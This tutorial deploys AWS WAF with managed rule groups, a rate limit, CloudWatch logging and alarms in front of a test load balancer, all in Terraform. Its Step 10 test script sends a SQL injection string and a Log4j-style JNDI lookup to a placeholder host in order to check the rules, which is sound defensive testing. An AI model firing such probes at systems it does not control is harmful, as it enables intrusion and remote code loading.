AWS describes AWS WAF as protection against common web exploits, built from managed rules, custom rules, Bot Control, account takeover prevention and fraud controls. This tutorial wires those pieces to a real Application Load Balancer in 13 steps and about 60 minutes. You will deploy the whole stack with Terraform, start in Count mode so nothing breaks, read the logs, and only then switch to Block.
The timing is practical. AWS recently published guidance on using AWS WAF to mitigate the PHP2Shell remote code execution flaws, CVE-2026-109618 and CVE-2026-109619. According to that post, the safe order is to turn on logging first and test rules in Count mode before you block anything. That is exactly the workflow below. If you are still choosing a vendor, our Cloudflare WAF vs AWS WAF vs Imperva comparison covers the trade-offs, and this guide assumes you already picked AWS.
Don't miss new tech stories on Google
Add Tech Insider once in the Google app and our stories appear in your news suggestions.
What Changed in AWS WAF This Autumn
The product name did not change. AWS WAF is still AWS WAF, and no rename, retirement or replacement has been announced. What did change is the guidance around it, and a few of those updates shape the choices in this tutorial. AWS WAF pricing still bills for web ACLs, rules and inspected requests. Charges are prorated hourly and prices vary by Region.
- September 24, 2026: AWS Network Security Manager became generally available for centralized deployment of AWS WAF and Shield Advanced protections. It supports AWS WAF and is not a successor to it.
- October 5, 2026: AWS documented rate-based aggregation by custom keys for MCP endpoints behind CloudFront and AWS WAF. The guidance lists evaluation windows of 60, 120, 300 or 600 seconds.
- October 21, 2026: The PHP2Shell mitigation guidance mentioned above, which pushes a log-first, Count-first rollout.
- October 30, 2026: AWS reportedly added automatic WAF JavaScript SDK integration for CloudFront distributions. AWS says the integration itself carries no extra charge, though the managed rule groups that use its signals still bill normally.
- May 5, 2026: AWS announced AI traffic analysis dashboards for AWS WAF. According to a November 4 update to that announcement, they come at no additional cost to customers who are not on a paid flat-rate plan.
None of that alters the core pattern: a regional web ACL, a few managed rule groups, a rate-based rule and logging. The CloudFront SDK integration matters if you front your site with a CDN, but this tutorial protects an ALB directly. For a price-first view across clouds, the Cloudflare WAF vs AWS WAF vs Azure WAF breakdown lays the numbers side by side.
What You Will Build With AWS WAF and an ALB
The project is small on purpose. Traffic hits a public Application Load Balancer on port 80. The ALB forwards to a Lambda function that echoes basic request details as JSON. A regional web ACL sits in front of the ALB and runs four rules in priority order: a per-IP rate limit, the AWS common rule set, the known bad inputs rule set and the SQL injection rule set. Every request lands in a CloudWatch Logs group, and a CloudWatch alarm emails you through SNS when blocks spike.
A Lambda target keeps the lab cheap and fast. You do not patch servers, and the WAF behaves the same as it would in front of EC2 or ECS tasks. AWS WAF attaches to Application Load Balancers, not Network Load Balancers, so if you are weighing front doors, read our ALB vs NLB vs Cloudflare load balancing comparison before you commit to a design.
| Component | Terraform resource | Job in this project |
|---|---|---|
| Public load balancer | aws_lb, aws_lb_listener | Accepts HTTP on port 80 and forwards to the target group |
| Backend | aws_lambda_function, aws_lb_target_group | Returns request details as JSON so you can see what WAF let through |
| Web ACL | aws_wafv2_web_acl | Holds the rate-based rule and three AWS managed rule groups |
| Association | aws_wafv2_web_acl_association | Attaches the web ACL to the ALB |
| Logging | aws_cloudwatch_log_group, aws_wafv2_web_acl_logging_configuration | Records every request with the terminating rule and final action |
| Alerting | aws_sns_topic, aws_cloudwatch_metric_alarm | Emails you when blocked requests spike |
The backend is a stand-in. If your real service is a Node framework, our AWS Lambda Web Functions guide shows a newer way to host an Express app on Lambda, and the web ACL steps below stay the same whatever sits behind the ALB.
One design choice deserves a sentence of explanation. The whole rollout hangs on a single Terraform variable called enforce. When it is false, every rule counts matches and blocks nothing. When it is true, the rules apply their real actions. That one switch gives you a safe way in and a fast way out, and it keeps the two modes from drifting apart in your code.
Prerequisites and Versions
You need a sandbox AWS account where you can create IAM roles, load balancers, Lambda functions, WAF resources, log groups and SNS topics. Administrator access is the easy route for a lab. If you are new to the tooling, our Terraform on AWS tutorial explains state and providers before you start.
| Requirement | Version or setting | Check command |
|---|---|---|
| AWS CLI | Version 2.x | aws –version |
| Terraform | 1.6 or newer | terraform version |
| AWS provider | 5.x or newer (6.x works) | terraform providers |
| Archive provider | Any current release | Installed by terraform init |
| Lambda runtime | python3.13 (or any runtime Lambda still supports) | Set in main.tf |
| Network | Default VPC with subnets in at least 2 Availability Zones | aws ec2 describe-subnets |
| Local tools | bash, curl, xargs | curl –version |
| Region | us-east-1 in the examples (any Region works) | aws configure get region |
Budget about 60 minutes. Plan roughly 10 minutes for setup, 10 for the baseline ALB, 15 for the web ACL, 15 for testing and log reading, and 10 for enforcement and alerting. The ALB takes a couple of minutes to become active after the first apply, so start that step early and read the next section while you wait.
AWS WAF Pricing Before You Deploy
AWS WAF pricing has three moving parts: the web ACL, the rules inside it and the requests it inspects. Prices vary by Region and AWS prorates monthly charges hourly. The table below uses figures from AWS’s own pricing page and its worked examples, in the US East pricing shown there.
| Item | Price | Notes |
|---|---|---|
| Web ACL | $5.00 per month | One ACL in this project |
| Each rule | $1.00 per month | The rate-based rule counts as one rule |
| Each managed rule group | $1.00 per month | Three groups in this project. Marketplace sellers can add their own fees |
| Requests | $0.60 per million | Billed on requests the web ACL inspects |
| Logging allowance | 500 MB per 1 million requests | CloudWatch Logs and vended-log ingestion. Extra volume bills at CloudWatch vended-log rates |
| Default capacity | 1,500 WCUs per web ACL | Larger ACLs cost more per request |
| Bot Control | $10.00 per month in AWS’s example | Targeted Bot Control includes the first 1 million requests each month. Not used here |
Now put those unit prices to work. The first row below is AWS’s own worked example. The other two rows are my arithmetic using the same unit prices for this project, which has one web ACL, three managed rule groups and one rate-based rule.
| Scenario | Web ACL | Rules and groups | Requests | Monthly total |
|---|---|---|---|---|
| AWS example: 19 rules, 10M requests | $5.00 | $19.00 | $6.00 | $30.00 |
| This project: 4 billable items, 10M requests | $5.00 | $4.00 | $6.00 | $15.00 |
| This project: 4 billable items, 22M requests | $5.00 | $4.00 | $13.20 | $22.20 |
Those totals leave out the load balancer, Lambda and any log overage. AWS’s ELB pricing examples list $0.0225 per ALB-hour plus usage-based capacity unit charges, so a lab ALB left running for a month costs more than the firewall itself. Destroy the stack when you finish. CloudWatch Logs ingestion in AWS’s pricing examples runs about $0.50 per GB in US East, so log filtering (covered in the advanced tips) matters once real traffic arrives.
Phase 1: Prepare the Project and a Baseline ALB (Steps 1 to 5)
Before you add any firewall, build the unprotected system and prove it works. When a later test fails, you will know whether the web ACL or the plumbing caused it. Skipping this phase is the single most common reason people spend an hour debugging a WAF rule that was never the problem.
Step 1: Verify your AWS identity and Region
Confirm the CLI talks to the account you expect. Many WAF mistakes start with a wrong profile or Region, because regional web ACLs only attach to resources in the same Region.
aws sts get-caller-identity
aws configure get region
aws --version
terraform version
The first command prints your account ID and ARN. If the Region line comes back empty, run export AWS_REGION=us-east-1 or pass the Region in the Terraform variable you create next.
Step 2: Create the project skeleton
Make a folder with three configuration files. The enforce variable is the switch that moves every rule between Count and Block, so you can roll back with one flag.
mkdir -p waf-demo/lambda
cd waf-demo
cat > versions.tf <<'EOF'
terraform {
required_version = ">= 1.6.0"
required_providers {
aws = {
source = "hashicorp/aws"
version = ">= 5.0"
}
archive = {
source = "hashicorp/archive"
}
}
}
provider "aws" {
region = var.region
}
EOF
cat > variables.tf <<'EOF'
variable "region" {
type = string
default = "us-east-1"
}
variable "project" {
type = string
default = "waf-demo"
}
variable "enforce" {
type = bool
default = false
description = "false = Count mode, true = Block mode"
}
variable "rate_limit" {
type = number
default = 100
}
variable "alert_email" {
type = string
}
variable "common_rule_overrides" {
type = list(string)
default = []
}
EOF
echo 'alert_email = "[email protected]"' > terraform.tfvars
Replace the email address with one you can read. SNS will send a confirmation message there in Step 12.
Step 3: Write the Lambda backend
The function returns the request path, method, query string and caller IP. The ALB adds an x-forwarded-for header, which is how you will see the client address later. The response shape matters: an ALB target needs statusCode, statusDescription, isBase64Encoded, headers and body.
cat > lambda/app.py <<'EOF'
import json
def handler(event, context):
headers = event.get("headers") or {}
body = {
"ok": True,
"path": event.get("path"),
"method": event.get("httpMethod"),
"client_ip": headers.get("x-forwarded-for", "unknown").split(",")[0].strip(),
"query": event.get("queryStringParameters") or {},
}
return {
"statusCode": 200,
"statusDescription": "200 OK",
"isBase64Encoded": False,
"headers": {"Content-Type": "application/json"},
"body": json.dumps(body),
}
EOF
Step 4: Define the ALB, security group and Lambda target
Create main.tf. It looks up the default VPC and its subnets, packages the function, grants the load balancer permission to invoke it and wires a listener to a Lambda target group. The permission resource must exist before the target group attachment, which is why the attachment declares depends_on.
cat > main.tf <<'EOF'
data "aws_vpc" "default" {
default = true
}
data "aws_subnets" "default" {
filter {
name = "vpc-id"
values = [data.aws_vpc.default.id]
}
}
resource "aws_security_group" "alb" {
name_prefix = "${var.project}-alb-"
description = "Public HTTP to the demo ALB"
vpc_id = data.aws_vpc.default.id
ingress {
description = "HTTP from anywhere"
from_port = 80
to_port = 80
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
}
data "archive_file" "lambda" {
type = "zip"
source_file = "${path.module}/lambda/app.py"
output_path = "${path.module}/app.zip"
}
resource "aws_iam_role" "lambda" {
name = "${var.project}-lambda"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Action = "sts:AssumeRole"
Principal = { Service = "lambda.amazonaws.com" }
}]
})
}
resource "aws_iam_role_policy_attachment" "lambda_logs" {
role = aws_iam_role.lambda.name
policy_arn = "arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole"
}
resource "aws_lambda_function" "app" {
function_name = "${var.project}-app"
role = aws_iam_role.lambda.arn
runtime = "python3.13"
handler = "app.handler"
filename = data.archive_file.lambda.output_path
source_code_hash = data.archive_file.lambda.output_base64sha256
timeout = 5
}
resource "aws_lb" "app" {
name = "${var.project}-alb"
load_balancer_type = "application"
subnets = data.aws_subnets.default.ids
security_groups = [aws_security_group.alb.id]
}
resource "aws_lb_target_group" "lambda" {
name = "${var.project}-tg"
target_type = "lambda"
}
resource "aws_lambda_permission" "alb" {
statement_id = "AllowExecutionFromALB"
action = "lambda:InvokeFunction"
function_name = aws_lambda_function.app.function_name
principal = "elasticloadbalancing.amazonaws.com"
source_arn = aws_lb_target_group.lambda.arn
}
resource "aws_lb_target_group_attachment" "lambda" {
target_group_arn = aws_lb_target_group.lambda.arn
target_id = aws_lambda_function.app.arn
depends_on = [aws_lambda_permission.alb]
}
resource "aws_lb_listener" "http" {
load_balancer_arn = aws_lb.app.arn
port = 80
protocol = "HTTP"
default_action {
type = "forward"
target_group_arn = aws_lb_target_group.lambda.arn
}
}
EOF
cat > outputs.tf <<'EOF'
output "alb_dns_name" {
value = aws_lb.app.dns_name
}
output "alb_arn" {
value = aws_lb.app.arn
}
EOF
The listener uses plain HTTP to keep the lab short. Real traffic belongs on HTTPS with an ACM certificate, and the WAF behaves the same on either listener. The security group is open to the world on purpose, because the point of the exercise is to attack your own endpoint.
Step 5: Deploy and test the unprotected baseline
Run the first apply. Terraform creates nine resources. Give the ALB a minute or two after the apply finishes, then hit it with curl.
terraform init
terraform apply -auto-approve
ALB="http://$(terraform output -raw alb_dns_name)"
curl -s "$ALB/?hello=world"
Expected output (your DNS name and IP will differ):
Apply complete! Resources: 9 added, 0 changed, 0 destroyed.
Outputs:
alb_arn = "arn:aws:elasticloadbalancing:us-east-1:123456789012:loadbalancer/app/waf-demo-alb/50dc6c495c0c9188"
alb_dns_name = "waf-demo-alb-1234567890.us-east-1.elb.amazonaws.com"
{"ok": true, "path": "/", "method": "GET", "client_ip": "203.0.113.25", "query": {"hello": "world"}}
If you see a Bad Gateway error or a connection error, jump to the troubleshooting table. A working baseline means every later failure points at WAF, which is the whole reason to build it first.
Phase 2: Build the Web ACL (Steps 6 to 8)
Now the firewall. The web ACL defaults to allow, so only traffic that matches a rule gets touched. Every rule starts in Count mode, which logs a match without blocking it. AWS evaluates rules from the lowest priority number to the highest, and the first rule with a terminating action decides the outcome. The rate limit gets priority 1 so abusive clients are cut off before the more expensive pattern matching runs.
Step 6: Create the web ACL with three managed rule groups
Managed rule groups are AWS-maintained rule sets. This project uses the common rule set for broad web exploits, the known bad inputs rule set for payloads such as Log4j-style strings, and the SQL injection rule set. The ACL loops over a local map so each group shares the same Count-or-Block logic. A Count override on a managed group logs matches without acting on them, and removing the override hands control back to each rule’s own action.
cat > waf.tf <<'EOF'
locals {
managed_groups = {
AWSManagedRulesCommonRuleSet = 10
AWSManagedRulesKnownBadInputsRuleSet = 20
AWSManagedRulesSQLiRuleSet = 30
}
}
resource "aws_wafv2_web_acl" "alb" {
name = "${var.project}-web-acl"
description = "Managed rules and rate limiting for the demo ALB"
scope = "REGIONAL"
default_action {
allow {}
}
dynamic "rule" {
for_each = local.managed_groups
content {
name = rule.key
priority = rule.value
override_action {
dynamic "count" {
for_each = var.enforce ? [] : [1]
content {}
}
dynamic "none" {
for_each = var.enforce ? [1] : []
content {}
}
}
statement {
managed_rule_group_statement {
name = rule.key
vendor_name = "AWS"
dynamic "rule_action_override" {
for_each = rule.key == "AWSManagedRulesCommonRuleSet" ? var.common_rule_overrides : []
content {
name = rule_action_override.value
action_to_use {
count {}
}
}
}
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = rule.key
sampled_requests_enabled = true
}
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = "${var.project}-web-acl"
sampled_requests_enabled = true
}
}
EOF
Rule groups are independently versioned, and their default version can change unless you pin one. That is fine for a lab. In production you will want to pin versions and test updates first, which the advanced tips cover.
Step 7: Add the rate-based rule
A rate-based rule counts requests per aggregation key over a window and acts once the count passes your limit. By default the key is the source IP, per AWS’s October 5 guidance, and the supported evaluation windows are 60, 120, 300 and 600 seconds. This rule allows 100 requests per IP per 60 seconds, then returns HTTP 429 in Block mode. Paste the block inside the aws_wafv2_web_acl resource, right after default_action.
rule {
name = "rate-limit-per-ip"
priority = 1
action {
dynamic "count" {
for_each = var.enforce ? [] : [1]
content {}
}
dynamic "block" {
for_each = var.enforce ? [1] : []
content {
custom_response {
response_code = 429
}
}
}
}
statement {
rate_based_statement {
limit = var.rate_limit
aggregate_key_type = "IP"
evaluation_window_sec = 60
}
}
visibility_config {
cloudwatch_metrics_enabled = true
metric_name = "rate-limit-per-ip"
sampled_requests_enabled = true
}
}
Rate limiting works best as one layer in a stack. If you also run a CDN, the Cloudflare rate limiting with Terraform guide applies the same idea at the edge, so abusive clients never reach your load balancer.
Step 8: Associate the web ACL with the ALB
A web ACL does nothing until you attach it to a resource. Add the association, then apply.
cat >> waf.tf <<'EOF'
resource "aws_wafv2_web_acl_association" "alb" {
resource_arn = aws_lb.app.arn
web_acl_arn = aws_wafv2_web_acl.alb.arn
}
EOF
terraform apply -auto-approve
aws wafv2 get-web-acl-for-resource \
--resource-arn "$(terraform output -raw alb_arn)" \
--region us-east-1 \
--query 'WebACL.{Name:Name,Default:DefaultAction}'
The CLI call proves the attachment worked. Expected output:
{
"Name": "waf-demo-web-acl",
"Default": {
"Allow": {}
}
}
The apply adds two resources, the web ACL and the association. A new association can take a short while to propagate, so wait about a minute before you rely on it.
Phase 3: Turn On Logging (Step 9)
Step 9: Send WAF logs to CloudWatch Logs with redaction
AWS WAF can deliver logs to CloudWatch Logs, Amazon S3 or Amazon Data Firehose. Each record carries the headers, the terminating rule, any labels and the final action. CloudWatch Logs is the quickest choice for a first deployment because you can query it immediately. One hard rule: the log group name must start with aws-waf-logs- and live in the same Region as the web ACL.
The configuration below also redacts the authorization and cookie headers so credentials never land in your logs. It deliberately has no logging filter yet. During the learning phase you want every request on record.
cat >> waf.tf <<'EOF'
resource "aws_cloudwatch_log_group" "waf" {
name = "aws-waf-logs-${var.project}"
retention_in_days = 30
}
resource "aws_wafv2_web_acl_logging_configuration" "alb" {
resource_arn = aws_wafv2_web_acl.alb.arn
log_destination_configs = [aws_cloudwatch_log_group.waf.arn]
redacted_fields {
single_header {
name = "authorization"
}
}
redacted_fields {
single_header {
name = "cookie"
}
}
}
EOF
terraform apply -auto-approve
Your IAM identity needs permission to create log delivery and a log resource policy, otherwise the apply fails with an access error. WAF includes 500 MB of log ingestion per million requests, so a lab will not generate a bill from logs. Open a live tail in a second terminal so you can watch requests arrive.
aws logs tail aws-waf-logs-waf-demo --follow --region us-east-1
Phase 4: Test in Count Mode (Step 10)
Step 10: Generate test traffic and read the logs
Save a test script that fires four kinds of traffic: a clean request, a SQL injection probe, a Log4j-style header probe and a burst of 300 requests. The payloads are inert strings. The Lambda only echoes them back as JSON.
cat > test.sh <<'EOF'
#!/usr/bin/env bash
set -euo pipefail
ALB="http://$(terraform output -raw alb_dns_name)"
echo "1) clean request"
curl -s -o /dev/null -w "%{http_code}\n" "$ALB/"
echo "2) SQL injection probe"
curl -s -o /dev/null -w "%{http_code}\n" -G "$ALB/" --data-urlencode "id=1' OR '1'='1"
echo "3) Log4j-style header probe"
curl -s -o /dev/null -w "%{http_code}\n" -H 'X-Api-Version: ${jndi:ldap://example.test/a}' "$ALB/"
echo "4) burst of 300 requests"
seq 1 300 | xargs -P 25 -I{} curl -s -o /dev/null -w "%{http_code}\n" "$ALB/" | sort | uniq -c
EOF
chmod +x test.sh
./test.sh
In Count mode every request should return 200, because nothing blocks yet. Expected output:
1) clean request
200
2) SQL injection probe
200
3) Log4j-style header probe
200
4) burst of 300 requests
300 200
The interesting part is in the logs. Each record is a JSON document. Here is a trimmed example of what the SQL injection probe leaves behind in Count mode. The request still gets the default allow, but the SQL injection group notes a counted match inside the record.
{
"timestamp": 1793790000000,
"webaclId": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/waf-demo-web-acl/a1b2c3d4-0000-0000-0000-000000000000",
"terminatingRuleId": "Default_Action",
"terminatingRuleType": "REGULAR",
"action": "ALLOW",
"ruleGroupList": [
{
"ruleGroupId": "AWS#AWSManagedRulesSQLiRuleSet",
"terminatingRule": null,
"nonTerminatingMatchingRules": [
{ "ruleId": "SQLi_QUERYARGUMENTS", "action": "COUNT" }
]
}
],
"httpRequest": {
"clientIp": "203.0.113.25",
"country": "US",
"uri": "/",
"args": "id=1%27+OR+%271%27%3D%271",
"httpMethod": "GET"
}
}
Open the log group in CloudWatch Logs Insights and run these queries. The first shows traffic by terminating rule and action. The second finds requests that the SQL injection group matched while it was in Count mode.
stats count(*) as hits by terminatingRuleId, action
| sort hits desc
fields @timestamp, httpRequest.clientIp, httpRequest.args
| filter @message like /SQLi_QUERYARGUMENTS/
| sort @timestamp desc
| limit 20
Because the rules run in Count mode, the terminating rule for most records is the default action, and the matches show up as non-terminating rule entries inside the record. Search the raw message for Log4JRCE_HEADER and rate-limit-per-ip to confirm that the other probes registered too. If the rate rule has not matched yet, wait a minute and re-run the burst, because rate-based rules evaluate over a window and do not react instantly.
Spend real time here on a real application. Replay a day of production-like traffic, then review which rules matched legitimate requests. Every false positive you catch now is an outage you avoid later.
Phase 5: Enforce and Alert (Steps 11 and 12)
Step 11: Flip the web ACL from Count to Block
When the logs show no legitimate traffic matching, switch the variable. The rate rule now returns 429, and each managed group applies its own block actions instead of counting.
terraform apply -auto-approve -var enforce=true
sleep 60
./test.sh
Example output (the burst split varies from run to run):
1) clean request
200
2) SQL injection probe
403
3) Log4j-style header probe
403
4) burst of 300 requests
104 200
196 429
The SQL injection and Log4j-style probes now hit a 403 from the managed groups. The burst shows the rate rule at work, with early requests passing and later ones refused with 429. Your exact split will differ because the rule evaluates on a rolling window and takes some time to start blocking.
Be clear about what this does not do. A web ACL filters application-layer requests. It does not absorb a volumetric flood, which is a job for Shield and your network edge. Our Cloudflare vs AWS Shield vs Akamai DDoS comparison shows where each product draws that line. Also remember the real fix for PHP2Shell-style bugs is patching. WAF rules buy you time while the patch rolls out.
Step 12: Add a CloudWatch alarm and SNS email
Blocking silently is a bad habit. This alarm watches the web ACL-wide BlockedRequests metric and emails you when 50 or more requests get blocked inside one minute. Tune the threshold to your normal noise level.
cat >> waf.tf <<'EOF'
resource "aws_sns_topic" "alerts" {
name = "${var.project}-waf-alerts"
}
resource "aws_sns_topic_subscription" "email" {
topic_arn = aws_sns_topic.alerts.arn
protocol = "email"
endpoint = var.alert_email
}
resource "aws_cloudwatch_metric_alarm" "blocked_spike" {
alarm_name = "${var.project}-blocked-spike"
namespace = "AWS/WAFV2"
metric_name = "BlockedRequests"
statistic = "Sum"
period = 60
evaluation_periods = 1
threshold = 50
comparison_operator = "GreaterThanOrEqualToThreshold"
treat_missing_data = "notBreaching"
alarm_actions = [aws_sns_topic.alerts.arn]
dimensions = {
WebACL = aws_wafv2_web_acl.alb.name
Region = var.region
Rule = "ALL"
}
}
EOF
terraform apply -auto-approve -var enforce=true
Check your inbox and click the SNS confirmation link, otherwise the alarm fires into the void. Then rerun ./test.sh and watch the alarm move to the ALARM state within a few minutes. Keep -var enforce=true on every apply from here on, or set it in terraform.tfvars so you do not flip the ACL back to Count by accident.
Phase 6: Tune False Positives (Step 13)
Step 13: Override noisy rules instead of disabling groups
Sooner or later a managed rule blocks something legitimate. A classic example is the body size rule in the common rule set rejecting a large file upload. Do not remove the whole group. Switch just that rule to Count and keep every other rule active.
echo 'common_rule_overrides = ["SizeRestrictions_BODY"]' >> terraform.tfvars
echo 'enforce = true' >> terraform.tfvars
terraform apply -auto-approve
The dynamic rule_action_override block from Step 6 turns that single rule into a counter. Work through false positives in this order:
- Find the rule name in the log record, under the terminating rule or the rule group list.
- Count the matches in Logs Insights for a full business cycle, not one afternoon.
- Override only the rule that misfires, and add a scope-down statement or label exclusion if the problem is limited to one path.
- Write down why you overrode it, with a date, so the next engineer does not remove the exception blindly.
- Promote rules to Block gradually. Put the riskiest group in Count the longest.
AWS’s own operating guidance follows the same loop: test in Count mode, review sampled requests, tune, then promote to Block step by step. If an override breaks something, set enforce = false and apply. That is your rollback, and it takes a minute.
Common Pitfalls With AWS WAF on an ALB
These are the mistakes that cause most first-week WAF incidents.
- Blocking on day one. Managed rules are tuned for the average web app, not yours. A Count-first rollout with logs on is the only safe route.
- Wrong log group name or Region. The name must start with
aws-waf-logs-, and a regional web ACL logs only to a destination in its own Region. - Wrong scope. A REGIONAL ACL protects ALBs and API Gateway REST API stages. A CloudFront distribution needs a CLOUDFRONT-scope ACL created in us-east-1. Mixing them up produces association errors. Our AWS API Gateway REST API tutorial walks through the stage side of that setup.
- Rate limits behind shared IPs. Offices, schools and mobile carriers put thousands of users behind one address. An IP-based limit can block all of them. Use a forwarded-IP key behind a proxy or pick a custom aggregation key such as an API token header.
- Assuming rate rules act instantly. They evaluate over a window and lag behind a burst. Treat them as a brake on sustained abuse, not a gate that closes at request 101.
- Forgetting the body inspection cap. According to AWS’s October 26 documentation, a web ACL attached to an ALB inspects at most 8 KB of the request body, and you cannot raise that limit. Large payloads can carry content past body rules, so pair WAF with input validation in the app.
- Running out of capacity. Each ACL has a default 1,500 WCU limit. Past that, requests cost more. Check a group’s cost with
aws wafv2 describe-managed-rule-groupbefore you add it. - Logging everything forever. Full logs are right while learning and wasteful at scale. Add a logging filter and a retention period before traffic grows.
- Unpinned rule group versions. Because managed groups are versioned independently and the default version can change, a silent update can start blocking real users. Pin versions and test new ones in Count mode first.
Troubleshooting AWS WAF Setup Errors
| Symptom | Likely cause | Fix |
|---|---|---|
| Apply fails creating the logging configuration | Log group name does not start with aws-waf-logs- | Rename the group, then apply again |
| AccessDenied on the logging configuration | Your IAM identity cannot create log delivery or a log resource policy | Grant the log delivery and resource policy actions on CloudWatch Logs, then retry |
| Unsupported argument: evaluation_window_sec | AWS provider is too old | Run terraform init -upgrade and pin version to 5.x or newer |
| ALB creation fails with a subnet error | No default VPC, or subnets in fewer than 2 Availability Zones | Create two subnets in different zones and pass their IDs to the ALB |
| Curl returns a Bad Gateway error | Missing invoke permission or a malformed Lambda response | Confirm the aws_lambda_permission exists and the function returns statusCode, statusDescription, isBase64Encoded, headers and body |
| Association fails with an unavailable entity error | The ALB is still provisioning | Wait until the ALB state is active, then rerun apply |
| SQL injection probe still returns 200 in Block mode | enforce is still false, the ACL is not attached, or the payload was not URL-encoded | Check terraform output, run get-web-acl-for-resource, and send the probe with curl -G and –data-urlencode |
| Rate rule never blocks | Limit too high, test traffic too slow, or window lag | Lower rate_limit to 20 for the test, send the burst again, and wait a minute |
| No log records appear | Wrong Region or log group, or a short propagation delay | Verify the log group ARN in the logging configuration and wait a minute |
| Alarm stays in INSUFFICIENT_DATA | Metric dimensions do not match | Use WebACL, Region and Rule=ALL exactly, and keep treat_missing_data set to notBreaching |
| WAFLimitsExceededException on apply | Combined rules exceed the ACL capacity | Drop a group or trim rules until the total fits within the ACL capacity |
| terraform destroy hangs on the web ACL | The ACL is still associated with a resource | Destroy the association first, wait a minute, then rerun destroy |
Advanced AWS WAF Tips
Filter the logs. Once the lab works, cut logging volume by keeping only the records that matter. Add a filter inside the logging configuration that drops everything by default and keeps blocks and counted matches. Test it against your own traffic, because the filter matches on the action recorded for each request.
logging_filter {
default_behavior = "DROP"
filter {
behavior = "KEEP"
requirement = "MEETS_ANY"
condition {
action_condition {
action = "BLOCK"
}
}
condition {
action_condition {
action = "COUNT"
}
}
condition {
action_condition {
action = "EXCLUDED_AS_COUNT"
}
}
}
}
Scope the rate limit to risky paths. A global 100-per-minute cap is blunt. Login and password-reset endpoints deserve a much tighter limit. Add a scope-down statement to the rate-based rule so it counts only requests to that path.
rate_based_statement {
limit = 20
aggregate_key_type = "IP"
evaluation_window_sec = 300
scope_down_statement {
byte_match_statement {
search_string = "/login"
positional_constraint = "STARTS_WITH"
field_to_match {
uri_path {}
}
text_transformation {
priority = 0
type = "LOWERCASE"
}
}
}
}
Pin managed rule group versions. List the versions AWS offers, then add a version argument to the managed rule group statement.
aws wafv2 list-available-managed-rule-group-versions \
--vendor-name AWS \
--name AWSManagedRulesCommonRuleSet \
--scope REGIONAL \
--region us-east-1
AWS says it announces managed-rule updates through SNS notifications and the WAF Developer Guide. Subscribe to the notifications so a version bump never surprises you.
Use custom aggregation keys for APIs. IP is a poor key for authenticated APIs and for MCP-style endpoints. AWS’s October 5 guidance describes aggregating on custom keys, such as a header or tool name, with a 60 to 600 second window. That gives each client or tool its own budget.
Ship logs to S3 for the long term. Delivery to S3 carries no vended-log charge apart from Parquet conversion, while CloudWatch Logs and Firehose bill as vended logs. For a busy site, keep a short CloudWatch retention for live debugging and archive everything else to S3.
Centralize across accounts. Teams with many accounts can use Firewall Manager or the newer Network Security Manager to push the same WAF policy everywhere. If your team prefers CloudFormation to Terraform, AWS also keeps a public CloudFormation sample for ALBs with managed rules in its aws-samples repository. Check its structure against this project, since it comes from an older blog post.
Compare before you commit. If you run more than one CDN or cloud, set up the same rules elsewhere and compare the operational cost. Our Cloudflare WAF setup guide is the closest match, and the cloud computing section collects the rest of our AWS, Azure and Google Cloud tutorials.
The Complete Project and Clean Up
When you finish, your folder holds the full working project. Each file maps to a step above.
waf-demo/
versions.tf Step 2: providers and Terraform version
variables.tf Step 2: enforce, rate_limit, alert_email, overrides
terraform.tfvars Steps 2 and 13: your email, enforce, overrides
lambda/app.py Step 3: ALB-compatible Lambda handler
main.tf Step 4: ALB, security group, Lambda, listener
outputs.tf Step 4: ALB DNS name and ARN
waf.tf Steps 6 to 9 and 12: ACL, rules, association, logs, alarm
test.sh Step 10: clean, SQLi, Log4j-style and burst tests
The full stack ends up at 16 resources: nine from the baseline, two for the ACL and association, two for logging and three for alerting. To reproduce it from scratch, run terraform init, then terraform apply -var enforce=false, review logs, then terraform apply -var enforce=true.
Tear it down as soon as you finish. A running ALB bills by the hour, and the web ACL and rules bill by the month, prorated hourly.
terraform destroy -auto-approve
aws wafv2 list-web-acls --scope REGIONAL --region us-east-1
aws logs describe-log-groups --log-group-name-prefix aws-waf-logs- --region us-east-1
Both listing commands should come back empty for your demo resources. If the destroy stalls on the web ACL, destroy the association first as described in the troubleshooting table.
AWS WAF Setup FAQ
How much does an AWS WAF web ACL cost?
AWS bills for the web ACL, each rule, each managed rule group and the requests inspected. Its pricing page lists $5.00 per month per web ACL, $1.00 per month per rule or managed rule group and $0.60 per million requests in its worked examples. Prices vary by Region, and AWS prorates monthly charges hourly.
Should I start in Count mode or Block mode?
Start in Count mode with logging on. Count mode records what a rule would have blocked without touching live traffic. Review the matches, tune the noisy rules, then promote to Block.
Where can AWS WAF send its logs?
AWS WAF delivers logs to CloudWatch Logs, Amazon S3 or Amazon Data Firehose. Delivery to CloudWatch Logs and Firehose bills as vended-log delivery, while S3 delivery is free apart from Parquet conversion. AWS WAF pricing includes 500 MB of log ingestion per 1 million requests.
Are AWS managed rule groups free?
No. Each managed rule group you add to a web ACL costs $1.00 per month, prorated hourly, on top of normal WAF charges. Marketplace rule groups can add seller-set fees, and Bot Control and Fraud Control carry their own charges.
Which evaluation windows can a rate-based rule use?
AWS’s guidance lists evaluation windows of 60, 120, 300 and 600 seconds. This tutorial uses 60 seconds for the main rule and 300 seconds in the login example.
Does Network Security Manager replace AWS WAF?
No. Network Security Manager is a management and deployment service that supports AWS WAF. It does not replace it, and you still define web ACLs, rules and logging.
Do managed rules update on their own?
Each managed rule group is versioned independently, and the default version can change unless you pin one. Pin versions in production and test any new version in Count mode first.
How do I roll back a bad rule quickly?
Set enforce = false and apply, which moves every rule back to Count in about a minute. For a single noisy rule, add it to common_rule_overrides instead and keep the rest of the group blocking.





